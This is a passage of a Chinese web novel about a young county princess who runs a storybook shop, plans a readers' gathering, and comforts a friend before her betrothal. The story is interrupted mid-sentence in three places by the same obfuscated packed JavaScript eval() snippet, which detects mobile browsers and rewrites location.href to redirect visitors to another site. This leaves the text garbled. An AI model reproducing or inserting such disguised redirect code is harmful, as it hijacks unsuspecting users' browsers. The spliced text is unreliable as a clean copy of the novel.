说说笑笑之后，三人索性又一起逛起花市。一路欢声笑语，直至三人均买到合心意的花，才在巷口互相道别。 让仆人将刚买的花送到车上，李铮打算再去选些莲花，这样家里每人都能摆上一瓶，也沾沾这浴佛节的清净气。 没进铺内，她顺着街边各家摆在外头的花架逛起来。因着是浴佛节，架上鲜切花，莲花占了大半。伙计照顾的很精细，花茎处都裹着湿草纸，还能看到伙计出来洒水。 右架那束白莲瞧着不错，她伸手去取，没想到碰到的不是花茎，而是旁人的手，那手骨节分明。 缩回手，转身抬眼。她到要看看这人是谁。 陆祈手持白莲，立在一旁。莲上带着水珠，清润动人。 真应该让人画下来，清隽书生捧花图。可惜了，自己画技着实一般。 发现是陆祈之后，李铮便随意起来。就着陆祈的手，她一边打量荷花，一边问道：“你也来买花？” “刚在闲逛，正好看到县主在这，便来打声招呼。” “一个人吗？” “家母与舍妹也在。”说完，用手指了指方向。 顺着指尖望去，斜对面的小阁里，窗边坐着位和善妇人，边上还有一位小娘子，两人正低头喝茶。应是没留意这边。 “你要买些吗，我打算买些荷花摆在家中。” “我买来赠予县主吧，县主送的磨喝乐还在我怀里呢。” 李铮听罢也没客气，点点头，示意陆祈去挑选。 见她没客气，陆祈顿觉轻松，整个人柔软起来，开始忙前忙后挑花。 看到顺眼的，就拿到李铮跟前让其细看。旁边路人瞧他这样，有的还会笑着打量几眼。 好在辗转挑了几处花摊，总算选到几束合心意的。 选好的荷花，由仆人抱着送去车旁。陆祈立在巷子口，手里也捧着一束白莲，浅浅作了个揖：“县主，那我便先告辞了。” 没走几步，忽觉有目光一直落在身后。像被突然牵了线的木偶一样，陆祈险些走不利索。 好在他强行稳住，一路顺顺利利和母亲妹妹会和。 周身那若有若无的线也终于消失，正要抬头，便见妹妹笑着问他：“哥哥，方才那位可是福安县主？” 23. 妹控姐姐和锦鲤妹妹 听见妹妹问话，陆祈忍不住想退回去。方才应当寻个更好的理由，比如看到同窗想去打个招呼，而不是想去买花。 一听就假，只怪自己没有经验。 躲不过去，陆祈轻咳了下嗓子，强装镇定，点了点头：“是她。” “最近帮了县主一个小忙，正好碰面，就去打个招呼。怕你们多想，才说想去买花。” 母亲和妹妹没继续追问，只对视一眼，嘴角噙着浅浅的笑。 又过了五日，天渐渐热起来，浴佛节时买的莲花，仆人已经麻溜撤下，全换上了应季的牡丹。 新话本刊刻到现在，仍旧卖得很好，虽说比不上最开始，但和李铮头回去书铺比，还是好上不少。 书铺现下时不时还会有客人，来打探是否上了新话本，每次伙计都得告诉他们，快了快了。 锦帙精装本也卖出去二三十册，店里众人一致觉得，没宣传就能卖成这样，很不错了。 这日，李铮正在书房专心挑选话本。再过几日便是新话本发售的时点了。正专注着，忽听丫鬟回话，说金竹急匆匆地回来了。 “县主，咱们之前提的故事报，要准备起来吗？” “托话本的福，现下铺子名气大了，最近时不时有客人来问情况呢。” “今天还有老主顾说，只要我们出，他就买。”说到这，他眼睛都亮了。 放下手中话本，李铮抬头看向金竹：“最近来问的人多吗？” “浴佛节之后，就多起来了。我估摸着跟抽彩头有关。早上我在书铺，还听到有老客问，何时再来一场，虽说他没中奖，但是能有那么多同好，不容易啊。” 李铮眼睛微微睁大，疑惑道：“他没中奖，也想再来吗？浴佛节得赏的机缘并不高。” “他是怎么说的，你好好回忆下，不要遗漏。” 金竹没想到自己随口一说，李铮竟会揪着问，连忙开始回忆这中年客人说的话。 “这位客人，方脸，络腮胡，穿着不错，很是健谈。最近经常来我们铺子，连我都碰到他好几回了。” “他进了铺子，先问新话本和故事报什么时候发售，打听何时抽彩头，之后就在店里寻人聊天。” “每次来，也不是光找伙计说话，还会找其他客人。要是碰到健谈的也喜欢话本的，就拉着别人到书铺角落，抄书的那几张桌子那，一聊就是小半天。” “当然来铺子聊天的，也不只这络腮胡。只不过他来得次数最多罢了。” “因着他老是来聊天，昨日几个抄书的书生，还一起找了掌柜的，让掌柜想法子呢。他们讲这络腮胡客人，说话声音大且不说，还说得很有意思，天天跟讲故事似的。引得他们时不时就要支起耳朵听几句，没办法专心抄书。” “掌柜的已经在考虑，要不直接让他们带回家抄。但是这样一来，就要付押金了。” 他说得活灵活现，离说书先生，也就差个惊堂木了。 李铮听罢点了点头，没说话，开始琢磨起缘由。 发售新书，定然会提前贴告示，这客人着实用不着每日都来。刚才要是金竹没来回话，说不准过会她就选好话本，明日店里就能贴上告示了。 这络腮胡客人，来得这么频繁，还经常一待半天。书铺是哪里有吸引他的地方呢。 难不成是其他客人？ 这念头一冒出来，李铮瞬间觉得没准就是这个了。 以前书铺，少有把买话本的客人聚在一起的，也就她的铺子，最近办抽彩头活动，机缘巧合聚了不少人。 这络腮胡客人，肯定是尝到甜头，觉得和同好交流有意思，所以才会念念不忘。 这么说来，话本铺往后可以经常办些同好交流活动。 先前话本发售定的是逢十，不过现下好故事难寻，估摸着一个月撑死也就发两次。 这同好交流活动，就先定个一月一回吧。 到时自己也可以乔装打扮去瞧瞧，肯定很有意思。在京城长这么大，她还没听过哪家铺子有这活动呢。 拿定主意，李铮抬眼看向金竹：“我想着，日后铺子便每月办一回同好交流会，想必络腮胡客人也是为了这，才经常来铺子。” “有了交流会，书铺能聚人气不说，客人往后肯定也更愿意来我们这。” 金竹不禁心头一亮，笑着回道：“县主这主意极好，我怎么就没想起来呢。客官们想必很乐意。” 李铮：“既如此，等我看完手上这几册话本，再去铺子瞧瞧。你先在外间歇息吧。” 金竹闻言应声退下，候在耳房听使唤。 书房又静下来，李铮也静下心来，开始慢慢翻看桌上这几册话本。 眼睛看得有些酸涩，揉了下眼睛，起身踱到院中，望了望天空，又瞧了瞧从隔壁院子探来的枝桠，伸了个懒腰，重回书房。 李铮抽出四本，桌案上还剩两本。看看左边，又瞧瞧右边，一时有些拿不定主意。 纠结片刻，最后还是挑了左侧这本游记。上回已是探案和风月了，右边这本风月，还是留到下月十号再印吧，再不济就先卖些手抄本试试水。 扬声唤丫鬟过来收拾桌案，金竹听到动静也忙不迭敲门进来。 抬手拂了拂有些皱了的褙子，李铮径直往外走去：“走吧，一起去书铺看看。” 抱起话本，金竹连忙追了上去。 二人到书铺时，可能因为现在人气足了，李铮觉得书铺都变亮堂了。 前几日她一看送来的账册，发现现下不光话本卖得好，连启蒙书籍都卖得比往常多了。 铺子里很是热闹，几位客官正围在一起聊得热火朝天。为首的是一位络腮胡男子，声量最盛，正说得眉飞色舞。李铮寻思，这约摸就是金竹口中那位熟客了。 不过光在店铺聊天，可能会影响店铺生意，还是要考虑换个地方，比如店铺门前搭个简易场地。 同好交流会，若要男女同席，便得寻个敞亮开阔的地方，在大庭广众之下，省得徒生是非。 若是分开办，那就简单多了，选处略有遮挡的地方足矣。不过分开办，就少了一半客官，而且本钱也会高。 心里不住思量，起码前期先分场地或分时间办，等摸透了门道，积累些经验，再做别的打算。 她没上前打扰那伙高谈阔论的客人，只去到铺子角落的桌边，静悄悄地坐了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148613|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日她穿得素净低调，首饰也没戴几件，随行之人也只有金竹一个，于是她便安安静静地坐在一楼大堂，半点不惹人眼。 一坐下，李铮就抬眼四下打量铺内情形，刚走进铺子的是两位小娘子，许是姐妹两个，大的沉稳，小的活泼。 她俩都有些好奇地打量书铺，看到李铮，表情还挺惊讶。 姐姐浅笑颔首示意，偏妹妹兴冲冲地就往李铮这来。这姐姐表情有些无奈，最后还是笑着看了李铮两眼，跟了过来。 妹妹应有十三四岁，兴奋地坐在李铮对面，勉强压低声音，但还是很激动：“这位姐姐，你也喜欢最近新出的话本吗？” “我和姐姐都很喜欢，上次我还抽中彩头了呢。我们还有好几个姐妹都很喜欢。” “你竟能抽中彩头！”李铮有些惊讶，想抽中彩头也不容易。 姐姐闻言语气带着几分自豪：“我妹妹，打小运气就极好。她瞧着性子冒失，实际最会识人。想来你是个很好的人，若是品性不佳，她会能躲多远就躲多远。” 李铮听完不禁眉眼弯弯：“多谢夸奖，令妹性子活泼又爽朗，和她在一块，想必整天都很快活。” 忽的二人嘴巴张大，小声惊呼：“姐姐，你竟是话本才人吗？”说完还用手指了指。 李铮扭头看过去，原来是看到金竹手里的话本了。 “不是，这是其他话本才人的稿子，我是书铺东家，正在选稿，这月二十日就该刊刻了。” “姐姐姐姐，是什么类型，我能先预定吗，上回我买了几天才买到。” “我和姐姐都超级喜欢《月满西厢》。悄悄跟你讲，姐姐还特意写了小传呢。”话音刚落，小姑娘便捂着嘴咯咯笑开。 “自是可以预定，待会找伙计登个记就行。” 见妹妹阿桃嘴快说了出来，阿沅脸颊微微泛红，有些不好意思：“不过是私下闲写的玩意儿，从未想过牟利，只在几个相熟的姊妹间传看罢了。” “你竟还会写小传吗，若是愿意，说不准日后还能刊刻出来，不愿意也没关系。” “接下来我还有举办同好交流会的想法，不过现下只是念头而已，还没具体定时间。” “快的话这个月，慢的话下个月。你们若是感兴趣，可以关注着些。” 妹妹阿桃激动得声音都不自觉变大了：“感兴趣，非常感兴趣！” 见她如此高兴，李铮也不禁开心起来。想了想他又问道：“你们是想唠江湖轶事，还是想唠儿女情长。” 姐姐阿沅沉吟片刻：“这些都好，现下城里可玩的乐子也不多。只是到时男女座次该怎么安排，倒让人有些顾虑。” 看出她的担心，李铮温声道：“你们放心，要么是分两处坐，女子在二楼、男子在一楼，二楼侍候的全都换成丫鬟；要么是分时辰，女子上午来，男子下午聚。” “分寸一定会把握好，绝不会让人扰了大家的雅兴。” “过几日铺子外会摆上木箱或木牌，方便大家交流。不着急今日这一时半刻，反正我们有的是大把时间，以后定会越办越好。” 想到日后好玩的场景，三人不由相视而笑，引得周围客人纷纷往这看来。 24. 问题重重 张大掌柜见李铮正和两位女娘沟通，没上前打扰，只时不时看过去两眼，听候吩咐。 因着待会还要议事，李铮没有继续多坐，解释了下，便唤来桂丫帮忙接待，就转身上了二楼。 一边喝茶，一边笑着看着底下站着的张大掌柜和张娘子。“最近二位辛苦了，好稿子，配上好吆喝，浴佛节活动大获成功多亏了你们二人。” “待会你们两个还有金竹和庄师傅，从账上各支五百文做赏银；余下小工，每人二百文。” “说到庄师傅，务必要让铺子工匠跟他好好学，提升雕版手艺。” “上次吆喝错时辰的小孩，我想了下，其实还是跟不识字有关，只会大白话，不懂这些书上的词。” 张大掌柜抬头看了李铮两眼，搓了搓手，想到那些孩子，还是说了出来：“县主，现下识字的小孩一般家境不错，除非是家道中落，不然出来吆喝跑腿的少。” 抿了抿唇，左边的张娘子也躬身回道：“其实家道中落的人家，若是该识字时已经落魄，这种小童识字也识不多的。” 想到自己家原先的光景，她声音不自觉低了：“大人要忙着挣钱，藏书也都卖了。送去学堂的花费不低，正经经史子集也不便宜，负担太重了，根本上不起。” “秀才刷下一批，举人刷下一批，更别说进士了。每年才取这么些人，想靠科举出人头地太难了。” 张大掌柜听完也是一阵感慨：“我家娃儿能识字，多亏了在这铺里做掌柜。但也只是认得常用的字，离考功名那是十万八千里地远。” 说着他忍不住笑了出来：“不过我已知足，不求他们考上功名去做官，只求识几个大字，工钱高些，能看懂契书，不被人蒙骗。” 两人说完，李铮不由心里感慨，看来即使是同样的事情，不同人感受也差别很大呀。 张娘子家道中落，觉得考科举是正道；张大掌柜市井小民出身，觉得能识字已经很不错。 馒头摆在饿肚子的人面前，那是无上美味；摆在权贵人家的饭桌上，可能就无人问津了。 不过这识字不是一日之功，等日后话本铺壮大了，说不准可以办个识字班，不是为了科举，只是教着识些常用字。 点了点头，李铮看向二人，温声道：“方才提及他们不识字，并不是为了责罚，只是说下情况。下次让他们多注意就行。不过日后便不可再犯了，一定要让他们记牢。” “这次刊刻的书稿已经选好，是那本游记。还有一本风月，归到第二类，先卖手抄本，卖得好再做雕版。” “剩下四本，张娘子你来看着定，若有特别喜欢的，就从手抄本卖起；若没有就都退回去。” “我对话本的看法不一定全对，毕竟这只是我的个人喜好。” 见李铮说完，金竹连忙上前递上话本。 张娘子接到手中，看了一眼被挑出来的两本，又扫了扫剩下四本的封面。思忖片刻，看向李铮：“回县主，这四本里有一本江湖轶事，我想着也先做些手抄本卖。其余三本退回即可。” 李铮点点头，又看向张大掌柜，提了同好交流会的点子。 张大掌柜一边听一边不住点头，待李铮说完，他躬身回道：“回县主，小的觉得头一回可以分场子办，这样也更热闹。就是店里只有桂丫一个接待，就算加上张娘子，估摸着也不够用。临时雇人，容易出岔子。” “您看到时候是不是派您身边的丫鬟嬷嬷来支应一下。丫鬟接待，张娘子灵活应变，主要控场还是桂丫。她平日经常在大堂接待，应是可以。” “一楼就我带着伙计来。主要也是考虑到，来的客官可能观点不一致。今日您在店里见到的几位聊得热火朝天的客官，碰巧了都观点一致。以前小的见过因为看法不一致就大打出手的。” “所以必须得有能控场的人在，除了控场，必要时还得活络场子。” “不过县主，同好会大概是定在哪日开呢？” 李铮想了片刻，温声道：“再过些日子，等这月二十过后。” 停了停，她又补了句：“暂时定在二十五吧，这样新书卖了五天，又多了一波客人。而且还能顺道给交流会吆喝吆喝。” 张大掌柜抬头扫了眼李铮的脸色，眉头微皱：“县主，这话本交流会是个好点子，办好了会很有意思。可咱们铺子头一回做这个，城里也没见过类似活动。所以小的心里实在没底，斗胆担着心，拢共有三件事。” “一是客人不愿来，比如到时只有三五个愿意来的。” “二是气氛起不来，大家不知道要聊什么，或者没人愿意头一个聊。气氛一冷清，原本活泼的客人，也不好意思说话了。” “三是来的客官，各抒己见，争起选题来冷了场。” “场子冷了，茶水损耗是小事，主要怕有人借题发挥挑刺，传出去坏了铺子名声。” “上月是头回发售，同行都没当回事，只当咱们是一时兴起闹着玩。往后铺子越来越红火，保不住就有人眼红嫉妒，暗地使绊子捣乱。” 李铮听罢轻点下颌，沉声道：“张大掌柜这几个问题，提得甚好。” 三人都开始琢磨，一时间雅间内无人说话，安静极了。 看来一时半刻是想不出答案了，李铮看向二人，温声道：“那这两日，我们都想想法子，集思广益。若是后日打烊前，还想不出个靠谱法子，这同好会便先简办；倘或想出来了，咱们再来细细商议后续章程。中间你们若是碰到熟客可以问问口风，不必特意大肆吆喝。” 二人纷纷点头应是，尤其是张大掌柜，见县主能听得进底下人的话，心头悄摸松了口气。 先前他心头直打鼓，怕县主年轻气盛，况且头一回刻印话本、办浴佛节活动都大获成功，就总担心飘了。如今看来县主不光脑袋活泛，还能听得进劝，往后这话本铺定能红红火火。 想必他到时候也能跟着喝汤吃肉，日子真是越来越有盼头！ 见二人皆领了话，李铮略一颔首，目光轻扫过二人，脆生生叮嘱道：“方才说的都记牢，后日打烊前给我准信。各自去忙吧，都上点心。” “是，县主。”张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152759|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大掌柜二人躬身应下，轻手轻脚退了出去。 二人应声退下后，李铮悄悄松了松肩背、随手绕了绕腰间浅碧色的宫绦、又小小地伸了个懒腰。刚才一直端着身子，实在是有些乏了。 缓了会，她循着楼下隐约传来的粗犷的说笑声下了楼。没听到半点女子说话声音，估摸着姐妹俩已经离开书铺。 孰料刚迈过最后一个台阶，抬眼一望，便见角落书桌旁，方才偶遇的姐妹俩正由桂丫陪着喝茶，手边还摆着两本话本。想必是凑着翻看，聊些话本里的情节。 络腮胡还在和人热火朝天的聊着，绕过几人，李铮提步朝姐妹俩走了过去。 走近一看，话本是上月刻印的，正是二人之前买过的那版。想来是以前的旧话本入不了眼，上月的又买过了，偏生这个月的新话本还没印出来。 “方才去处理了些铺子上的事，临时走开，莫怪。” 阿沅扭头见是李铮，想起方才已知晓她身份，连忙欠身笑着说道：“县主莫怪，刚才不知您身份，有失恭敬。” 身旁阿桃也跟着福了一礼，软声说道：“是呢，方才您毫无架子，非常平易近人，我和姐姐完全没发现。” 李铮连连摆手，眉眼带着笑，柔声说道：“不妨事。此刻我们就是聊得来的铺主和客人，年纪又相仿，你们不必拘礼。况且是我自己未曾透露身份，又何来失礼一说。” 阿沅顿时眉眼舒展，浅浅福了一礼应下：“多谢县主。这样我们也更自在了。” 身旁阿桃也笑着附和：“是的是的，多谢县主。” 见她俩谢来谢去，李铮忍不住笑了出来：“不必这么拘礼，我本就是因为喜欢话本，所以才来经营话本铺。来这儿我就是个书铺主家。刚才跟二位打招呼，原也是想问问你们。若是来参加同好交流会，除了男女座次上的顾虑，二位还有别的讲究或担心吗？” 阿桃听完立马说道：“我不喜欢的话题，有人却要讲很久，能不能定个规矩，限制下时间。省得一个话题絮叨好久，旁人插不上话。” “还有那种抬杠，揪着你的话不放的。” “话题都有哪些，能提前知道吗？” “不知道到时人多不多，若是人多的话，选谁的呢？” 阿沅浅浅颔首，又轻声补充道：“若有人仗势欺人怎么办，还有就是怕有衙里的人来，旁人都放不开，反倒拘束得很。” 都是很切实的顾虑，李铮将二人顾虑记在心里，朗声笑道：“多谢二位直言，帮我想了许多不曾顾及的地方。本月新出的话本便算我赠二位的，千万不要客气。” 说罢，侧身看向立在一旁的桂丫，温声吩咐：“回来先把阿沅、阿桃的新话本留出来，发售当日便送过去。” 转回身又看向姐妹俩，笑着补充：“若是家中不便收送，二位打烊前来取也无妨。” 姐妹二人连声道谢，一个温柔，一个活泼。几人又寒暄几句，便各自散了。 送了人，李铮抬手理了下衣衫，低声交待桂丫两句，便坐上马车回了府，明日她还要去云秀那呢。 25. 宽慰云秀 四月十四。 辰时刚过，李铮就被窗外几声清脆的“布谷布谷”声唤醒。 趁着天气凉爽，她在院子里打起了拳。和前几日的养生拳不同，今日打的是五步拳。 打完换上针线房新制的夏衫，簪支珍珠簪，便往院门口走去。 因着要去见的是好姐妹，李铮十分放松地倚在马车靠垫上。忽地她瞥见一个摆摊卖木作的摊位，连忙直起身，唤马车停下。 喊丫鬟下车去选了几个小巧玲珑的鲁班锁。她打算待会儿除了打探定亲，就是琢磨怎么复刻这个。若是琢磨不出来，便留着自己玩儿。 马车刚到赵府门前，还没停稳，守门婆子就认了出来，连忙上前迎接，引着往正堂偏厅去。 走了没多远，就见秦氏笑着候在偏厅门口。 见她要躬身见礼，李铮连忙用手托住：“伯母，咱们之间莫要多礼，都是自家人。” 身侧丫鬟递上提前准备的礼物，躬身说道：“秦夫人，这是县主备的苏式香膏。” 秦氏笑着让贴身嬷嬷接过，拉起李铮的手便往厅里带。 “你这孩子，来就来了，怎么还带礼物。快来坐这，云秀一会就来。早上吃饭她还念叨着你呢。” “我也惦记她呢，吃完早饭就往这赶。伯母气色也是愈发好了。” 抚了抚鬓边头饰，秦氏笑着转身对身侧嬷嬷说：“阿铮这丫头，嘴还是一如既往地甜。” 一坐下，仆人便轻手轻脚奉上茶点。 刚抿两口，云秀就出现在门口，然后三步并作两步，凑到李铮身旁。“阿铮，你可算来了。咱们上回见还是浴佛节。咦，今日你这珍珠簪可真好看，往日里从没见过。在哪儿买的这是？” “瞧着不错吧。这是我娘特意给我画的样子。是支空心簪，很是轻巧。等回来我让匠人们再打两支，咱们三个一人一支。不是什么贵重东西，胜在轻巧，戴着舒适。” 说完又转头看向秦氏，笑着打趣：“伯母您瞧，阿秀现在也比从前活络多了。” 云秀抿了下唇，掐了掐李铮手臂，又盯了她几眼，示意赶紧打住。惹得李铮笑作一团。 主位上的秦氏，忍俊不禁地看着二人说笑。过了会她摆了摆手温声道：“知道你们都是好孩子了，自去玩吧，不用在这陪我。” 二人相携离开，一到云秀院子，李铮就不端着了。停下脚步，扯住云秀衣袖，一个转身正对云秀，追问道：“你们二人怎么样了，快说与我听听，说不准还能帮你们合计合计。” 云秀有些哭笑不得：“方才瞧你还算稳重，这才一会儿功夫，你就变回原形了。” “我这不是太好奇了吗。上回你说要定亲，现下到哪一步了。” “前几天合了八字，现下是在纳吉，不过定亲日子还没定，钦天监还在算。估摸着是在五月初。” 李铮听罢不住点头：“也对，太近了没个准备时间，太远了又没必要，一二十天正合适。你放心，钦天监肯定会给你们挑个黄道吉日的。” “在这里，就提前恭祝我们云秀，定亲大喜！” 云秀手不由自主攥紧，她抬头看向李铮：“阿铮，多谢你的祝福。真没想过，我还能有你这样的姐妹。之前你替我解围，” 她声音变低，停了片刻：“我去你家道谢，其实，是想和你打好交道，不是单纯道谢的。” 话音刚落，她又连忙补了一句：“不过，咱们认识后，我真的都是真心实意，我可以发誓。” “唉呀，怎么还提，这都一年多了。再说了，就算不是你，我也会上前解围，我就是看不惯那王娘子欺负人。” “我替好些人解过围，可是你看，只有咱们二人成了好姐妹。” “我是县主，别人和我交往怎么可能不考虑我的身份呢，快别想那么多了。” “之前不是说要带我瞧瞧你的木作坊吗。走吧，我都迫不及待了。刚来的路上，我还特意让丫鬟下车买了几个鲁班锁。” 云秀眨了眨眼睛，笑了下：“可能最近要定亲，有些多愁善感，你别介意。” 说完走在前面，引着李铮往木作坊走。 木作坊在小院的西厢房里。门开着，还没进去，就闻到了木头的味道。 进门一张大长桌，上面散放着些大小不一的手锯和凿子，还有不少李铮叫不上名字的铁质工具。 见李铮盯着工具很是好奇，云秀喊了一个老木匠过来，这木匠胡子发白，腰有些弯，手指粗大，掌心满是厚茧子。 拘谨地介绍完工具，老木匠开始演示如何做鲁班锁。他知道这些主子只是图个新奇，没整那些复杂的十二方锁、十八罗汉锁，只整了最简单的三才锁。 这三才锁，只要三根小木方就行，用的工具也简单，好上手，不危险。 一开始做木作，老木匠腰也直了，人也不拘谨了，眼神专注，死盯着底下的木头。 炭笔刷刷几下画好线，都不用尺子，就横平竖直。小手锯修边，木夹钳固定好用凿子开槽。之后打磨榫头和凹槽，拼接磨合调节松紧，最后整体抛光。 一整套功夫下来，行云流水，不到半炷香的功夫。 李铮看得也专注，总算知道这三才锁是如何做了，她有些跃跃欲试。 云秀见状立马让仆人把备好的工具拿过来：“我就猜到你会感兴趣。快来试试吧，木头、工具都给你备好了。” 她试探性地伸出了手，这种还没打磨的木头，有些粗糙，有些扎手。 用手捏起桃木方，拿到眼前细细打量。“原来这就是做鲁班锁的材料。” 云秀伸手指了指架子上的木方，朗声说道：“这些都是，杨木、桃木、杉木。因着我都是做些小摆件，所以尺寸都不大。鲁班锁，刚才演示的三才锁是最简单的，三个木方就够了。待会儿咱俩可以一块做着玩。” “我还帮你备了指套，和鹿皮护具，这样掌心和手掌都不必担心磨到。” 老木匠已经退下，丫鬟帮李铮带好指套和护具后，也退下了。一时间西厢房里就剩李铮、云秀和几个贴身丫鬟。 李铮动手，云秀在一旁指导。方才看着简单的三才锁，动起手来就不是那么回事了。 哪根木方开槽时去掉一半，哪根只留四分之一，每一步李铮都要拼命回想。 云秀在边上一边浅笑，一边指导：“阿铮，你这已经做得不错了。瞧这线多直啊。我头一回还不如你呢。” 李铮看她笑得不怀好意，还探身过去拍了两下，让她休要再笑。 虽然中间凿坏了两三根木方，虽然拼合后没那么顺畅，虽然最后打磨得不够光滑，但不管怎样，她做成了，这是她亲手做的第一把鲁班锁。 瞅了瞅自己画的线，点点头，非常直溜，很是不错。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156770|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她做成，云秀抚掌笑道：“是不是很好玩！” 李铮低头把玩着手中的三才锁：“确实不错。这个回来我就带走了。让我爹娘她们瞧瞧，这可是我亲手做的。” “自是要带走。” 虽然刚夸过，但李铮意犹未尽，忍不住又说道：“怪不得你会喜爱木作，确实好玩。婚后说不准，你们二人还能一起在家中做木作。” 听李铮提起婚后，云秀指尖微顿，人也哑了声，只默默摩挲着桌上的碎木屑。 她感觉婚姻离自己好像很近，又好像很远，一时心头滋味难明。 李铮见她神色不对，连忙问道：“阿秀，你这是怎么了？可是方才提了婚后的缘故？你若不喜，往后再不提就是。” 云秀摇摇头，又点点头。 李铮没了办法，她没再多问，静坐在一旁陪着。 木头味让人不自觉放松，时不时窗外还传来布谷布谷声，树叶婆娑声。 “我有些惶恐，虽然现下看着一切都好。婚后我要同他家人住在一起，要晨昏定省，我与他也只见过几面，虽然现下我们日渐投契，但日后谁说得准呢。也不知婚后到他家，还有没有这样的舒坦日子过。” “我被推着往前走，虽然，我也在向前走，但是他们比我走得快。” 李铮一时无言，这些问题她也没有答案，但她想可能云秀需要的只是陪伴，还没发生的事情，谁都没办法保证。 见她眼眶泛红，缩成一团，李铮轻轻拍了她的背，低声说道：“我知晓你是有些惶恐日后的生活。有时我也会想，五年后我会怎样活着，十年后我会怎样活着。但其实连五天后我们都不知道。” “话本铺就是，我想办个同好交流会，一堆问题等着解决不说，我还不知道愿意来的人多不多，来了以后愿不愿意开口交流。” “这会办得怎么样，只有真正办了才知道。” 云秀轻轻嗯了声。 李铮：“京城里，繁华富贵迷人眼。昨日门前人声鼎沸，今日就下了大狱，门前被扔臭鸡蛋。” “我觉得我们要做的是享受当下，你现在和他很是聊得来，志同道合。开心吗？” 云秀微微直起身子，轻声说道：“开心。” 李铮看了眼她眼角的泪，递过去一只手帕：“开心就行了呀。现下开心就行，日后不喜欢就不喜欢了。到时候是想一个人过，还是想凑合着过，就到时再看。要不然岂不是，什么都没发生，你就开始愁眉苦脸了。” “说不准那会，你见到他就烦，饭都少吃半碗。” 云秀忍不住噗嗤笑了出来。她站起身，拉了拉李铮的胳膊：“被你这么一说，我心里舒坦多了。多谢你宽慰我。” “走，去我院里逛逛，最近新开的姚黄贵气极了，你一见便知。” 两人便又相携着往花园去。“对了，你刚提及的同好交流会是什么。” “我想定期组织话本交流会，但是担心无人愿来、又担心来的人起了争执，还怕无人说话，冷了场。”李铮说完忍不住叹了口气。 云秀：“这倒是，不过这种活动，感觉把规矩定细些便好。参加的人不怕场子规矩多，就怕场子没规矩。” “你们现下，这规矩定得怎么样了？” “明日约了掌柜商议，要先把昨日提的那些问题一一捋顺，再来定规矩。” “这倒是。” 26. 前进 前进 进 四月十五。 一大早起来，李铮没急着去书铺，先去树荫下躺了会，吹吹风。 院子里的布谷鸟叫得比往常急，天气也比往常热，实在是躺不住，她只好起身去了书房。 丫鬟在书房点上香，轻手轻脚退下。 房间只剩李铮自己，她开始一边磨墨，一边思考。 墨条碾过砚台，发出沙沙声。李铮乱糟糟的思绪，也渐渐被抚平。 她开始思考话本交流会的事情，思考接下来的安排。 今月二十五办同好会，今月二十铺子第二回发售新话本。现下离同好会也就十天时间，必须得尽快定下章程。 一条条问题被写下，有的有答案，有的没答案。 揉揉发酸的手腕，舒展舒展四肢，捶捶肩膀，总算舒服了。 书铺二楼。 李铮低头看了眼手上记的草稿，又抬头看向张大掌柜，朗声问道：“前天提的同好交流会，琢磨地怎么样了？主要是规矩要定好。” “回县主的话，小的回去好好想了想，有几个细节要注意。” “一是交流会聊的话题，是不是提前就定好。到时咱们拟几个，客人们投几个。” “二是一个话题定个最长时间，比方说一刻钟。” “三是定好面向哪类客人，若是主要面向官宦人家，那茶点等各色摆设就得多花些本钱。倘若主要面向普通市井人家，那常规的就行。” “两类客人一起可能会引起冲突，前者少而精，后者多且杂。若是交流会二者都有，规矩必须得定细，可能还得您来镇个场子。” “也就是第四条交流规矩要定细，比如不得透露真实身份，不得仗势欺人。观点不一致时不得辱骂他人，不得议政只聊话本等。” 张大掌柜说得很是详细，不愧是经年老掌柜。 一边听，一边翻看着手中的草稿，待他话音落下，李铮笑着开口赞道：“你想得很是周全。” “前两条就按方才你说的来，第三条选普通市井人家，他们才是我们最主要的客人，当然若官宦人家愿意来，咱们也不拒绝，只是不可仗势欺人罢了。” “最后一条定规矩，你来看着定，最要紧的就是大家是来聊话本的，聊话本时，就只论话本，不论旁的。” “二楼我会准备几个健壮婆子，万一有争执，可以快速拉开；一楼你记得安排健壮伙计。” 见张大掌柜点头应是，李铮接着说道：“关于热场子，我有个念头。书铺可以请个说书人过来。过几日要刻的游记暂且不提，上月印的两本，都可选些精彩片段来讲，时间不用长，一刻钟就行。” “这般一整，气氛自然就热起来了！” 张大掌柜心头有些懊悔，怎么自个就没想到呢：“县主这法子不错，先用说书人热场，客人们一边听说书，一边交流，省得冷场。” “行，那咱们接下来便依此而行。你那可有详细的安排了？” “回县主的话，小的大致想了下，明日先宣告出去，贴上告示。再备块木牌，专门收集话题，除了咱自己提的，客人提的也写上。到时候报名的客人可以任选。” 